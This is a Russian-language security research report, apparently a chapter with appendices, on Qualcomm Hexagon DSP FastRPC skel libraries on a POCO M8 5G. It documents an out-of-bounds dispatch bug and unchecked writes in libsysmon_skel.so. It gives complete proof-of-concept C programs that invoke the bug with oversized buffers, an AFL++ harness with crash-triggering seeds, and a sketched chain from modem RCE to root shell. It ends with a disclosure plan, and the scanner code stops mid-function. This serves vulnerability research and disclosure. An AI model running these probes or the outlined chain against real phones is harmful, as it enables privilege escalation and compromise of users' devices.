cdsprpcd работает под uid=system, имеет доступ к fastrpc-cdsp. Принимает binder IPC. Если его binder интерфейс принимает сырые буферы — можно proxy через него.

Bash:
adb shell service list | grep dsp
# может показать: com.qualcomm.qti.cdsp.libcdsprpc

2. NNAPI / Camera HAL (приоритет 2):

Android NNAPI (/dev/nnapi), Camera ISP, биометрия — все используют CDSP внутри. Эти сервисы имеют SELinux allow на fastrpc. Если найти уязвимость в их binder-интерфейсе — можем proxy через них.

3. Setuid бинарь (не найден):

Bash:
find /vendor /system -perm /4000 2>/dev/null | head -20
# пока не обнаружено бинарей связанных с fastrpc

4. Kernel race / OOB (без открытия устройства):

Альтернатива — найти баг в другом kernel driver, не требующем fastrpc-cdsp. В рамках данного исследования не разрабатывался.

---

## 10.3 Skel-библиотеки: attack surface

FastRPC-сервисы на CDSP загружают .so файлы в DSP user PD через путь:

Code:
HLOS call: remote_handle_open("file:///vendor/lib/rfsa/adsp/libXXX_skel.so?func")
  → kernel maps shared memory
  → DSP loads ELF into user PD
  → dispatch function becomes callable

### Библиотеки найденные на устройстве

| Библиотека | Размер | Dispatch-функция | Привилегии |
|------------|--------|-----------------|------------|
| libsysmon_skel.so | ~120 KB | sysmon_skel_invoke | DSP user PD |
| libsysmondomain_skel.so | ~200 KB | sysmon_skel_invoke | DSP user PD |
| cdsp_libsysmon_skel.so | ~400 KB | sysmon_skel_invoke | DSP user PD |
| libstabilitydomain_skel.so | ~28 KB | stabilitydomain_skel_handle_invoke | DSP user PD |
| libsns_device_mode_skel.so | ~4 KB | sns_device_mode_skel_handle_invoke | DSP user PD |
| libsns_direct_channel_skel.so | ~3 KB | sns_direct_channel_skel_handle_invoke | DSP user PD |
| libfastcvdsp_skel.so | 668 KB | stripped | DSP user PD |
| libbitml_nsp_v2_skel.so | 6 MB | stripped | DSP user PD |
| libcamera_nn_skel.so | 707 KB | stripped | DSP user PD |
| libapn_dsp_skel.so | 404 KB | stripped | DSP user PD |

Путь на устройстве: /vendor/lib64/rfs/dsp/. Загружаются как Hexagon ELF (ET_DYN), без PIE в старых версиях.

---

## 10.4 FastRPC ABI

Все skel dispatch-функции компилируются QAIC IDL компилятором с единой сигнатурой:

C:
int skel_handle_invoke(
    remote_handle64 _h,   // r1:r0 — handle (64-bit = два 32-bit регистра)
    uint32_t _sc,         // r2    — scalar encoding
    remote_arg_t *_pra    // r3    — массив аргументов
);

### Scalar encoding (_sc)

Code:
bits [31:29]  reserved
bits [28:24]  method_id   (5 бит, 0–31)
bits [23:16]  n_out        количество output буферов
bits [15:8]   n_in         количество input буферов
bits [7:4]    n_inout      количество inout буферов
bits [3:0]    misc

Макрос кодирования (HLOS сторона, fastrpc_probe.c):

C:
#define FASTRPC_SCALARS(method, nin, nout) \
    (((method) << 24) | ((nin) << 16) | ((nout) << 8))

// Пример: метод 0, 1 входной буфер, 1 выходной:
uint32_t sc = FASTRPC_SCALARS(0, 1, 1);  // = 0x00010100

### remote_arg_t (8 байт)

C:
typedef struct {
    union { void *pv; uint64_t p; };
    uint32_t nLen;   // длина буфера
} remote_arg_t;

На 32-bit Hexagon: pv = 32-bit pointer в shared memory, nLen = длина. Атакующий контролирует оба поля.

---

## 10.5 Уязвимость 1: OOB dispatch в sysmon_skel_invoke

Тип: OOB_INDEX 
Библиотека: libsysmon_skel.so 
Адрес: 0x9cac (entry point dispatch) 
Severity: HIGH

### Механизм

Dispatch-функция извлекает method_id из _sc:

Code:
; sysmon_skel_invoke entry @ 0x9cac:
r4 = extractu(r2, #5, #0x18)   ; method_id = bits[28:24] of _sc (0–31)
; ... следующие инструкции:
0x9ccc: r4 = memw(r3+r4<<#0x2) ; r4 = dispatch_table[method_id]
                                ; ← ЗДЕСЬ: нет проверки method_id < max!
jumpr r4                        ; jump to method handler

Нет ни одного cmp.gtu на method_id в первых 20 инструкциях функции.

### Сравнение с защищённой библиотекой

libstabilitydomain_skel.so имеет корректный bounds check:

Code:
; stabilitydomain_skel_handle_invoke @ 0x5a8c:
r4 = extractu(r2, #5, #0x18)    ; method_id
p0 = cmp.gtu(r4, #0xa)          ; method_id > 10?
if (p0.new) jump:nt 0x5ecc      ; да → return error  ← ЗАЩИТА
r4 = memw(r5 + r4 << #0x2)      ; чтение из таблицы
jumpr r4

В libstabilitydomain_skel.so: максимум 10 методов, проверка есть. 
В libsysmon_skel.so: проверки нет.

### Эксплоит-примитив

Code:
method_id = 31 (максимум в 5-битном поле)
→ r4 = memw(dispatch_table + 31*4)
→ если dispatch_table имеет < 32 записей: OOB read
→ значение за таблицей → jumpr r4 с произвольным адресом

Для превращения в arbitrary code execution нужно знать адрес dispatch table и что лежит за ней. В PIE-бинаре это требует info leak; в non-PIE — смещение фиксировано.

---

## 10.6 Уязвимость 2: taint r16 в memory ops (56 срабатываний)

Тип: MISSING_CHECK (taint analysis) 
Библиотека: libsysmon_skel.so 
Severity: HIGH (56 находок) 
Инструмент: angr taint tracking через fastrpc_analysis.py

### Механизм

Code:
r3 = _pra  (аргумент dispatch, полностью контролируется атакующим)
↓
r16 = memw(r3+...)  (чтение pointer из _pra структуры)
↓
memb(r16+#0x0) = r2  ← WRITE через r16, нет bounds check
memb(r16+#0x3) = r3
memb(r16+#0x2) = r3
memb(r16+#0x1) = r2
...

Адреса с HIGH-severity writes через r16:

| Адрес | Инструкция |
|-------|-----------|
| 0xa7e8 | memb(r16+#0x0) = r2.new |
| 0xa7f0 | memb(r16+#0x3) = r3.new |
| 0xa7fc | memb(r16+#0x2) = r3.new |
| 0xa804 | memb(r16+#0x1) = r2 |
| 0xabe8 | memb(r16+#0x0) = r2.new |
| 0xabf0 | memb(r16+#0x3) = r3.new |
| 0xabfc | memb(r16+#0x2) = r3.new |
| 0xac04 | memb(r16+#0x1) = r2 |
| 0xad60 | memb(r16+#0x0) = r2.new |
| 0xad68 | memb(r16+#0x3) = r3.new |
| 0xaf44 | { memb(r16+#0x0) = r2; memb(r16+#0x4) = r3 } |
| 0xaf50 | memb(r16+#0x6) = r4.new |
| 0xaf5c | memb(r16+#0x7) = r6 |

Примечание: часть срабатываний — false positives тaint-анализа (taint слишком широко распространяется). Адреса 0xa7e8–0xa804, 0xabe8–0xac04, 0xad60 — наиболее приоритетные для ручной верификации.

---

## 10.7 Уязвимость 3: захардкоженный dst в sysmon_usermode_buffer_copy

Тип: MISSING_CHECK / hardcoded dst size 
Библиотека: libsysmon_skel.so 
Адрес: 0x33c8 
Severity: MEDIUM→HIGH (зависит от вызывающего)

### Дизассем

Code:
00003388 <sysmon_usermode_buffer_copy>:
    3388: r17:16 = combine(r1, r2)      ; r17=src_ptr, r16=dst
    ...
    33c8: r3:r2 = combine(r18, ##0x101) ; r2 = 0x101 = 257 байт (dst_max_len HARDCODED)
    33cc: r5:r4 = combine(r16, r17)     ; r4 = src_ptr, r5 = src_len (от вызывающего)
    33d0: call 0x28f0                    ; memscpy(dst, 0x101, src, src_len)
    33d4: p0 = cmp.gt(r0, #-0x1)        ; SIGNED check возврата!

Первичная защита: memscpy копирует min(dst_max, src_len) — при правильном использовании безопасно.

Проблема — signed check возврата. Паттерн CVE-2020-11201: если где-то выше src_len проверяется как signed int, значение 0x80000001 (-2147483647 как signed) проходит проверку len ≤ MAX_LEN (отрицательное число ≤ MAX), но передаётся в copy как огромное uint32_t. Нужно верифицировать вызывающую сторону в sysmon_skel_invoke.

---

## 10.8 Уязвимость 4: stabilitydomain_user_pd_crash

Тип: unauthorized DSP user PD crash 
Библиотека: libstabilitydomain_skel.so 
Адрес: 0x4eb4 
Severity: MEDIUM (DoS)

Функция stabilitydomain_user_pd_crash присутствует в dispatch-таблице. Вызов без авторизации — crash DSP user PD → нестабильность системы.

Прямого LPE нет, но полезно для изучения поведения при крашах DSP PD и потенциально для DoS-зависимых side-channel атак.

---

## 10.9 QDI interface в libstabilitydomain_skel.so

Тип: DSP kernel call surface 
Библиотека: libstabilitydomain_skel.so 
Severity: исследуется

Импорты из QuRT kernel:

Code:
qurt_qdi_qhi3
qurt_qdi_qhi4
qurt_qdi_qhi5
qurt_qdi_qhi6
qurt_qdi_qhi9

QDI (Qualcomm Driver Interface) — механизм syscall из DSP user-process в DSP kernel. Если через dispatch можно вызвать метод, использующий эти функции с контролируемыми аргументами — потенциальная дыра в DSP kernel space (аналог Linux syscall с неправильной валидацией).

Из DSP kernel → shared memory → Linux kernel LPE: каждый шаг требует отдельного примитива, но сам наличие QDI вызовов в публичном dispatch интерфейсе — серьёзный расширитель атаки.

---

## 10.10 PoC: зондирование fastrpc из ADB shell

Код fastrpc_probe.c — тест доступности с измерением реального поведения SELinux:

C:
/*
 * fastrpc_probe.c — FastRPC CDSP access probe
 * Compile: aarch64-linux-gnu-gcc -static -o fastrpc_probe fastrpc_probe.c
 * Deploy:  adb push fastrpc_probe /data/local/tmp/ && adb shell chmod +x ...
 */

#define FASTRPC_SCALARS(m, in, out) (((m) << 24) | ((in) << 16) | ((out) << 8))

static void test_direct_open(void) {
    int fd = open("/dev/fastrpc-cdsp", O_RDWR);
    if (fd >= 0) {
        printf("[!!!] OPENED — SELinux allows shell→fastrpc-cdsp!\n");
        close(fd);
    } else {
        printf("[x] open failed: %s — SELinux blocking\n", strerror(errno));
    }
}

static void test_via_libcdsprpc(void) {
    void *h = dlopen("/vendor/lib64/libcdsprpc.so", RTLD_LAZY);
    pfn_remote_handle_open fn_open = dlsym(h, "remote_handle_open");

    remote_handle rh = 0xFFFFFFFF;
    int rc = fn_open(
        "file:///vendor/lib/rfsa/adsp/libsysmon_skel.so?sysmon_skel_invoke",
        &rh
    );
    if (rc == 0) {
        printf("[!!!] OPENED sysmon skel handle=%u\n", rh);

        /* Attempt oversized invoke: dst buf = 0x101, send 0x200 bytes */
        uint8_t in_buf[0x200];
        memset(in_buf, 0x41, sizeof(in_buf));

        remote_arg_t pra[2];
        pra[0].pv   = in_buf;
        pra[0].nLen = sizeof(in_buf);   /* 0x200 > 0x101 hardcoded dst */
        pra[1].pv   = out_buf;
        pra[1].nLen = sizeof(out_buf);

        uint32_t sc = FASTRPC_SCALARS(0, 1, 1);
        rc = fn_inv((remote_handle64)rh, sc, pra);
        printf("[*] invoke rc=%d (0=ok, <0=error)\n", rc);
    } else {
        printf("[x] open failed: rc=%d errno=%d\n", rc, errno);
        /* errno 13=EACCES (SELinux), 2=ENOENT, 111=ECONNREFUSED */
    }
}

Запуск:

Bash:
# На реальном устройстве НЕ запускался.
# Ожидаемый результат из u:r:shell:s0:
#
# adb push fastrpc_probe /data/local/tmp/
# adb shell chmod +x /data/local/tmp/fastrpc_probe
# adb shell /data/local/tmp/fastrpc_probe
# [x] open failed: Permission denied (errno=13) — SELinux blocking
# [x] open failed: rc=-1 errno=13

Ожидаемый результат из u:r:shell:s0: оба теста блокируются SELinux (основано на анализе SELinux политики vendor_qdsp_device). При наличии более широкого context (app с android.permission.MANAGE_MEDIA) — результат может отличаться. Не верифицировано.

---

## 10.11 Harness для fuzzing skel-библиотек

### Архитектура harness_sysmon.S

Code:
; harness_sysmon.S — fuzz sysmon_skel_invoke через AFL++/qemu-hexagon
;
; Формат stdin:
;   bytes [0..3]:   _sc (method_id + buf counts)
;   bytes [4..7]:   in_len (pra[0].nLen — атакуемый размер)
;   bytes [8..]:    payload (содержимое входного буфера)

    .text
    .global _start

_start:
    ; --- Читаем fuzz input из stdin ---
    r0 = #0                     ; fd=stdin
    r1 = ##input_buf            ; buf
    r2 = ##0x400                ; max read
    trap0(#1)                   ; syscall: read

    ; --- Парсим _sc ---
    r2 = memw(##input_buf)      ; _sc = input[0..3]

    ; --- Парсим in_len (атакуемое поле nLen) ---
    r16 = memw(##input_buf + 4) ; in_len = input[4..7]

    ; --- Заполняем _pra ---
    memw(##pra + 0) = ##in_buf  ; pra[0].pv = &in_buf
    memw(##pra + 4) = r16       ; pra[0].nLen = in_len  ← fuzz target
    memw(##pra + 8) = ##out_buf ; pra[1].pv = &out_buf
    memw(##pra + 12) = ##0x400  ; pra[1].nLen = 0x400 (output fixed)

    ; --- Копируем payload в in_buf ---
    r0 = ##in_buf
    r1 = ##input_buf + 8
    r2 = r16                    ; len = in_len (AFL controls)
    call memcpy

    ; --- Вызываем dispatch ---
    r1:r0 = combine(#0, #1)     ; _h = 1 (dummy handle)
    ; r2 = _sc (уже установлен)
    r3 = ##pra                  ; _pra
    call sysmon_skel_invoke

    ; --- Crash detection ---
    ; (SIGSEGV при OOB → AFL++ записывает crash)
    jumpr r31

    .bss
input_buf: .space 0x400
in_buf:    .space 0x400
out_buf:   .space 0x400
pra:       .space 32

### AFL++ кампания

Bash:
# Собираем harness
clang-20 -target hexagon-unknown-linux-musl -nostdlib \
  -T hexagon.ld harness_sysmon.S libsysmon_skel.so \
  -o /tmp/sysmon_fuzz.elf

# Начальные seeds
mkdir sysmon_seeds/
# seed 1: method_id=0, in_len=0x10, 16 байт 0x41
python3 -c "import struct; sys.stdout.buffer.write(
    struct.pack('<I', 0x00010100) +  # sc: method=0, nin=1, nout=1
    struct.pack('<I', 0x10) +         # in_len = 16
    b'\x41' * 16)" > sysmon_seeds/01_basic.bin

# seed 2: method_id=31 (OOB trigger)
python3 -c "import struct; sys.stdout.buffer.write(
    struct.pack('<I', (31 << 24) | (1 << 16) | (1 << 8)) +
    struct.pack('<I', 0x10) +
    b'\x42' * 16)" > sysmon_seeds/02_oob_method.bin

# seed 3: oversized buffer (triggers sysmon_usermode_buffer_copy bug)
python3 -c "import struct; sys.stdout.buffer.write(
    struct.pack('<I', 0x00010100) +
    struct.pack('<I', 0x200) +        # 0x200 > 0x101 hardcoded dst
    b'\x43' * 0x200)" > sysmon_seeds/03_oversized.bin

# Запускаем AFL++
AFL_NO_FORKSRV=1 AFL_SKIP_BIN_CHECK=1 AFL_SKIP_CPUFREQ=1 \
  afl-fuzz -n -t 2000 \
    -i sysmon_seeds/ \
    -o sysmon_afl_out/ \
    -- qemu-hexagon /tmp/sysmon_fuzz.elf

Ожидаемое: при method_id=31 → OOB read dispatch table → invalid jumpr → SIGSEGV → sig:11.

---

## 10.12 Теоретическая цепочка: MPSS → CDSP → kernel

Статус: Полностью теоретическая. Не реализовывалась и не тестировалась. Описание основано на архитектурных знаниях о SMEM, QDI и fastrpc — без конкретных адресов и без верификации.

Полная exploit chain требует трёх этапов:

### Этап 1: RCE на MPSS (уже реализован)

Описан в главах 8–9. WAP Push overflow → shellcode в QuRT WMS task → контроль над MPSS DSP.

### Этап 2: Боковое движение MPSS → CDSP

MPSS и CDSP — разные DSP домены. Связь между ними:

  • Shared memory: оба DSP имеют доступ к определённым регионам shared memory с ARM
  • QMI каналы: WMS stack в MPSS имеет QMI endpoint, через который может посылать сообщения другим subsystems
  • SMEM: Qualcomm SMEM (smem_alloc, smem_find) — разделяемая память между всеми subsystems

Из MPSS shellcode: записываем в SMEM область которую читает CDSP-сервис → контролируем данные в CDSP process.

### Этап 3: CDSP shellcode → kernel LPE

Из CDSP DSP user PD, если есть RCE:

1. Через QDI: вызываем qurt_qdi_qhi* с контролируемыми args → DSP kernel space
2. Через shared memory corruption: пишем в область mapped в Linux kernel → kernel RIP
3. Через /dev/fastrpc ioctl: fastrpc kernel driver маппит shared memory copy_from_user → если есть баг в driver

Конкретный путь к root:

Code:
DSP RCE
  → запись в /proc/sys/kernel/... через DSP mapped region
  → или: через fastrpc map/unmap race condition → use-after-free в kernel
  → kernel code execution
  → setuid(0) + execve("/system/bin/sh")

---

## 10.13 Статистика анализа

Результаты запуска fastrpc_analysis.py по libsysmon_skel.so:

| Метрика | Значение |
|---------|----------|
| Проанализировано библиотек | 1 |
| Всего находок | 655 |
| CRITICAL | 0 |
| HIGH | 56 |
| MEDIUM | 599 |
| Основная функция | sysmon_skel_invoke |
| Первичный класс HIGH | MISSING_CHECK (taint r16 из _pra) |
| OOB dispatch | confirmed @ 0x9cac |
| Hardcoded buffer | confirmed @ 0x33c8 (dst=0x101) |

Инструменты:

Bash:
# Полный анализ всех libraries
cd /home/z0r0/poco_m8_5g/dsp_analysis
python3 fastrpc_analysis.py --report findings/full_report.md

# Конкретная lib + symbolic exec
python3 fastrpc_analysis.py --lib libs/libsysmon_skel.so --symbolic

# Pattern scanner (быстрый)
python3 dsp_vuln_finder.py

---

## 10.14 TODO: следующие шаги

### Сделано

  • [x] Перечисление skel-библиотек: 10 targets
  • [x] FastRPC ABI задокументирован
  • [x] OOB dispatch подтверждён в libsysmon_skel.so @ 0x9cac
  • [x] 56 HIGH taint-находок в sysmon_skel_invoke
  • [x] sysmon_usermode_buffer_copy @ 0x33c8: hardcoded dst=0x101
  • [x] fastrpc_probe.c: зондирование SELinux барьера

### В работе

- [ ] Ручная верификация OOB в 0x9ccc: r4 = memw(r3+r4<<#0x2) — что за таблицей?
  - Метод: llvm-objdump --arch=hexagon -d libsysmon_skel.so | sed -n '/sysmon_skel_invoke/,/^[0-9]/ p' | head -50

- [ ] Signed length check в вызывающем для sysmon_usermode_buffer_copy
  - Нужно: дизассем пути sysmon_skel_invoke → sysmon_usermode_buffer_copy с backward slice для src_len

- [ ] Путь доступа из shell к libsysmon_skel.so
  - Опция 1: cdsprpcd binder interface проксирует наш invoke
  - Опция 2: NNAPI context ([email protected])

- [ ] Harness harness_sysmon.S + AFL++ кампания по OOB dispatch
  - Seed 02 (method_id=31) ожидаемо даст crash при первом запуске

- [ ] libstabilitydomain_skel.so: вызовы QDI с контролируемыми аргументами
  - qurt_qdi_qhi3/4/5/6/9 — задокументировать what each does

---

## 10.15 Ответственное раскрытие

Qualcomm PSIRT: [email protected].

Затронутые компоненты:
  • libsysmon_skel.so — OOB dispatch, tainted writes (без CVE номера, ещё не раскрыто)
  • libstabilitydomain_skel.so — unauthorized PD crash, QDI exposure
  • msm_fastrpc kernel driver — attack surface analysis (не баг в driver, но vector)

Устройство: POCO M8 5G (SM6475/Snapdragon 6 Gen 3). 
Firmware: MPSS.DE.3.1.4.c1-00319.

Timeline: 90 дней от даты уведомления перед публикацией.

---

DSP attack surface на Qualcomm — огромный. 10 skel-библиотек, 655 автоматически найденных кандидатов, 56 HIGH. Ручная верификация OOB в sysmon_skel_invoke @ 0x9cac — следующий приоритет.


ewpage

# Приложение A. PoC исходники: fastrpc_probe.c и fastrpc_probe2.c

Инструменты зондирования FastRPC CDSP доступа из ADB shell контекста.

Статус: Собраны для aarch64-linux-gnu. На устройстве не запускались. 
 Компиляция: aarch64-linux-gnu-gcc -static -o fastrpc_probe fastrpc_probe.c 
 Деплой: adb push fastrpc_probe /data/local/tmp/ && adb shell chmod +x /data/local/tmp/fastrpc_probe

---

## A.1 fastrpc_probe.c

Тест через dlopen(libcdsprpc.so) + remote_handle_open:

C:
/*
 * fastrpc_probe.c - FastRPC CDSP access probe from ADB shell context
 *
 * Tests if u:r:shell:s0 can:
 *   1. Open /dev/fastrpc-cdsp directly (expected: denied by SELinux)
 *   2. Call remote_handle_open via libcdsprpc.so (may bypass DAC check)
 *   3. Invoke a CDSP skel function with oversized buffer (vuln check)
 *
 * Compile: aarch64-linux-gnu-gcc -static -o fastrpc_probe fastrpc_probe.c
 * Deploy:  adb push fastrpc_probe /data/local/tmp/; adb shell chmod +x ...
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <dlfcn.h>
#include <stdint.h>

/* FastRPC remote_arg_t structure */
typedef struct {
    union { void *pv; uint64_t p; };
    uint32_t nLen;
} remote_arg_t;

typedef uint32_t remote_handle;
typedef uint64_t remote_handle64;

/* FastRPC HLOS API (from libcdsprpc.so) */
typedef int (*pfn_remote_handle_open)(const char *name, remote_handle *ph);
typedef int (*pfn_remote_handle_close)(remote_handle h);
typedef int (*pfn_remote_handle64_invoke)(remote_handle64 h, uint32_t dwScalars, remote_arg_t *pra);
typedef int (*pfn_remote_handle64_close)(remote_handle64 h);

/*
 * FastRPC scalar encoding:
 *   FASTRPC_SCALARS(method, nin, nout) = ((method << 24) | (nin << 16) | (nout << 8))
 */
#define FASTRPC_SCALARS(m, in, out)  (((m) << 24) | ((in) << 16) | ((out) << 8))

static void test_direct_open(void) {
    printf("\n[1] Testing direct /dev/fastrpc-cdsp open...\n");
    int fd = open("/dev/fastrpc-cdsp", O_RDWR);
    if (fd >= 0) {
        printf("    [!!!] OPENED fd=%d (SELinux allows shell→fastrpc-cdsp!)\n", fd);
        close(fd);
    } else {
        printf("    [x] open failed: %s (errno=%d) — SELinux blocking\n",
               strerror(errno), errno);
    }
}

static void test_via_libcdsprpc(void) {
    printf("\n[2] Testing via libcdsprpc.so remote_handle_open...\n");

    void *h = dlopen("/vendor/lib64/libcdsprpc.so", RTLD_LAZY);
    if (!h) {
        printf("    [x] dlopen failed: %s\n", dlerror());
        return;
    }
    printf("    [+] dlopen OK\n");

    pfn_remote_handle_open fn_open =
        (pfn_remote_handle_open)dlsym(h, "remote_handle_open");
    if (!fn_open) {
        printf("    [x] dlsym(remote_handle_open) failed\n");
        dlclose(h);
        return;
    }

    /* Try opening the sysmon service - well-known FastRPC CDSP service */
    remote_handle rh = 0xFFFFFFFF;
    int rc = fn_open("file:///vendor/lib/rfsa/adsp/libsysmon_skel.so?sysmon_skel_invoke", &rh);
    if (rc == 0) {
        printf("    [!!!] OPENED sysmon skel handle=%u\n", rh);
        /* Now try invoking with oversized buffer - sysmon_usermode_buffer_copy */
        /* method 0, 1 in-buf, 1 out-buf: sc = FASTRPC_SCALARS(0, 1, 1) */
        printf("    [*] Attempting oversize invoke (sysmon_usermode_buffer_copy dst=0x101)...\n");

        pfn_remote_handle64_invoke fn_inv =
            (pfn_remote_handle64_invoke)dlsym(h, "remote_handle64_invoke");
        if (fn_inv) {
            uint8_t in_buf[0x200];
            uint8_t out_buf[0x200];
            memset(in_buf, 0x41, sizeof(in_buf));

            remote_arg_t pra[2];
            pra[0].pv   = in_buf;
            pra[0].nLen = sizeof(in_buf);  /* 0x200 > 0x101 hardcoded dst */
            pra[1].pv   = out_buf;
            pra[1].nLen = sizeof(out_buf);

            uint32_t sc = FASTRPC_SCALARS(0, 1, 1);
            rc = fn_inv((remote_handle64)rh, sc, pra);
            printf("    [*] invoke rc=%d (0=ok, <0=error)\n", rc);
        }

        pfn_remote_handle_close fn_close =
            (pfn_remote_handle_close)dlsym(h, "remote_handle_close");
        if (fn_close) fn_close(rh);
    } else {
        printf("    [x] remote_handle_open failed: rc=%d errno=%d (%s)\n",
               rc, errno, strerror(errno));
        printf("    [*] errno 13=EACCES (SELinux), 2=ENOENT, 111=ECONNREFUSED\n");
    }

    dlclose(h);
}

int main(int argc, char **argv) {
    printf("FastRPC CDSP probe — shell context test\n");
    printf("pid=%d  uid=%d\n", getpid(), getuid());

    test_direct_open();
    test_via_libcdsprpc();

    return 0;
}

---

## A.2 fastrpc_probe2.c

Тест через прямой ioctl(FASTRPC_IOCTL_INVOKE2) без dlopen:

C:
/*
 * fastrpc_probe2.c - direct ioctl approach without dlopen
 * Tests FastRPC CDSP access using raw ioctl on /dev/fastrpc-cdsp
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <stdint.h>
#include <sys/ioctl.h>

/* fastrpc ioctl interface (from kernel source: include/uapi/misc/fastrpc.h) */
#define FASTRPC_IOCTL_INVOKE2    _IOWR('R', 4, struct fastrpc_ioctl_invoke_async)
#define FASTRPC_IOCTL_INIT       _IOWR('R', 6, struct fastrpc_ioctl_init)

struct fastrpc_remote_buf {
    void *pv;
    uint64_t len;
};

struct fastrpc_remote_dma_handle {
    int fd;
    uint32_t offset;
    uint32_t len;
};

struct fastrpc_remote_arg {
    union {
        struct fastrpc_remote_buf buf;
        struct fastrpc_remote_dma_handle dma;
    };
};

struct fastrpc_ioctl_invoke {
    uint32_t handle;
    uint32_t sc;
    struct fastrpc_remote_arg *pra;
};

struct fastrpc_ioctl_invoke_async {
    struct fastrpc_ioctl_invoke inv;
    uint32_t *attrs;
    uint32_t *fds;
    uint32_t job;
};

int main(void) {
    printf("FastRPC CDSP raw ioctl probe\n");
    printf("uid=%d\n", getuid());

    /* Test 1: open fastrpc-cdsp */
    int fd = open("/dev/fastrpc-cdsp", O_RDWR | O_CLOEXEC);
    if (fd < 0) {
        printf("[x] open /dev/fastrpc-cdsp: %s (errno=%d)\n",
               strerror(errno), errno);
        printf("    SELinux context blocks shell→vendor_qdsp_device\n");

        /* Test 2: try fastrpc-adsp instead */
        fd = open("/dev/fastrpc-adsp-secure", O_RDWR | O_CLOEXEC);
        if (fd >= 0) {
            printf("[!] Opened fastrpc-adsp-secure! fd=%d\n", fd);
            close(fd);
        } else {
            printf("[x] fastrpc-adsp-secure: %s\n", strerror(errno));
        }
        return 1;
    }

    printf("[!!!] OPENED /dev/fastrpc-cdsp fd=%d\n", fd);

    /* Test 3: invoke sysmon (handle 3 = built-in sysmon) with overflow */
    uint8_t in_buf[0x200];
    uint8_t out_buf[0x100];
    memset(in_buf, 0x41, sizeof(in_buf));

    struct fastrpc_remote_arg pra[2];
    memset(&pra, 0, sizeof(pra));
    pra[0].buf.pv  = in_buf;
    pra[0].buf.len = sizeof(in_buf);  /* 0x200 > 0x101 hardcoded dst */
    pra[1].buf.pv  = out_buf;
    pra[1].buf.len = sizeof(out_buf);

    struct fastrpc_ioctl_invoke_async req;
    memset(&req, 0, sizeof(req));
    req.inv.handle = 3;  /* built-in sysmon handle */
    req.inv.sc     = (0 << 24) | (1 << 16) | (1 << 8);  /* method 0, 1 in, 1 out */
    req.inv.pra    = pra;

    int rc = ioctl(fd, FASTRPC_IOCTL_INVOKE2, &req);
    printf("[*] ioctl INVOKE2 rc=%d errno=%d (%s)\n", rc, errno, strerror(errno));

    close(fd);
    return 0;
}


ewpage

# Приложение B. dsp_vuln_finder.py

Паттерн-сканер уязвимостей в Hexagon DSP skel .so библиотеках.

Инструмент: статический анализ через llvm-objdump --arch=hexagon, без angr. 
 Цель: найти баги класса SIGNED_LEN_CHECK, OOB_INDEX, MISSING_SIZE_CHECK в dispatch-функциях. 
 Запуск: python3 dsp_vuln_finder.py --lib libsysmon_skel.so

Python:
#!/usr/bin/env python3
"""
dsp_vuln_finder.py — Hexagon DSP skel .so vulnerability finder

Approach:
  1. Disassemble with llvm-objdump (no angr arch issues)
  2. Parse instructions to find vulnerability patterns
  3. Map sysmon_skel_invoke dispatch table → each method's arg checks
  4. Identify methods with weak/missing bounds checks
  5. Generate targeted fuzzing corpus for each vulnerable path

Key targets:
  - libsysmon_skel.so: sysmon_skel_invoke (8684 bytes, main dispatcher)
  - sysmon_usermode_buffer_copy: copies HLOS buf with hardcoded dst size=0x101
  - memtest_memcpy/memtest_malloc: size from user input
"""

import sys
import re
import subprocess
import struct
import json
from pathlib import Path
from dataclasses import dataclass, field
from typing import Optional

LIB_DIR = Path(__file__).parent / 'libs'
OUT_DIR = Path(__file__).parent / 'fuzz_out'

# ─── disassembler ─────────────────────────────────────────────────────────────

def disasm(lib_path: str) -> list[dict]:
    """Run llvm-objdump and parse output into structured instruction list."""
    for objdump in ['llvm-objdump-20', 'llvm-objdump-19', 'llvm-objdump']:
        for arch_flag in ['--arch=hexagon', '--arch-name=hexagon']:
            try:
                result = subprocess.run(
                    [objdump, '-d', arch_flag, lib_path],
                    capture_output=True, text=True, timeout=60
                )
                if result.returncode == 0:
                    return _parse_objdump(result.stdout)
            except (FileNotFoundError, subprocess.TimeoutExpired):
                break
    raise RuntimeError("llvm-objdump not found")


def _parse_objdump(text: str) -> list[dict]:
    """Parse objdump output into list of {addr, bytes, mnemonic, operands, func}."""
    insns = []
    current_func = None
    func_re = re.compile(r'^([0-9a-f]+) <([^>]+)>:')
    insn_re = re.compile(r'^\s+([0-9a-f]+):\s+[0-9a-f ]+\t(.+)$')

    for line in text.splitlines():
        fm = func_re.match(line)
        if fm:
            current_func = fm.group(2)
            continue
        im = insn_re.match(line)
        if im:
            addr = int(im.group(1), 16)
            raw = im.group(2).strip()
            parts = raw.split(None, 1)
            mn = parts[0].lower() if parts else ''
            ops = parts[1] if len(parts) > 1 else ''
            insns.append({
                'addr': addr,
                'func': current_func,
                'mnemonic': mn,
                'operands': ops,
                'raw': raw,
            })
    return insns


# ─── vulnerability pattern matchers ──────────────────────────────────────────

@dataclass
class Finding:
    vuln_type: str
    addr: int
    func: str
    desc: str
    severity: str = 'MEDIUM'
    evidence: list = field(default_factory=list)


def is_signed_cmp(mn: str) -> bool:
    return any(x in mn for x in ['cmp.gt(', 'cmp.lt(', 'cmph.gt(', 'cmpb.gt('])


def is_unsigned_cmp(mn: str) -> bool:
    return any(x in mn for x in ['cmp.gtu(', 'cmp.ltu(', 'cmp.gtu'])


def is_mem_op(raw: str) -> bool:
    return bool(re.search(r'mem[wbhd]\s*\(', raw))


def is_call(mn: str) -> bool:
    return mn.startswith('call')


def extract_call_target(ops: str) -> Optional[int]:
    m = re.search(r'0x([0-9a-f]+)', ops)
    if m:
        return int(m.group(1), 16)
    return None


def extract_cmp_imm(raw: str) -> Optional[int]:
    """Extract immediate value from comparison instruction."""
    m = re.search(r'#(-?(?:0x[0-9a-f]+|\d+))', raw)
    if m:
        val = m.group(1)
        return int(val, 16) if val.startswith('0x') or val.startswith('-0x') else int(val)
    return None


# ─── Pattern 1: signed comparison feeding memory operation ───────────────────

def scan_signed_len_check(insns: list[dict]) -> list[Finding]:
    """
    CVE-2020-11201 pattern: length value checked with SIGNED comparison
    but then used as unsigned index/size in memory operation.

    Heuristic: signed cmp within 8 insns of a mem op, same function.
    """
    findings = []
    for i, insn in enumerate(insns):
        raw = insn['raw']
        if not is_signed_cmp(raw):
            continue
        for j in range(i+1, min(i+10, len(insns))):
            nxt = insns[j]
            if nxt['func'] != insn['func']:
                break
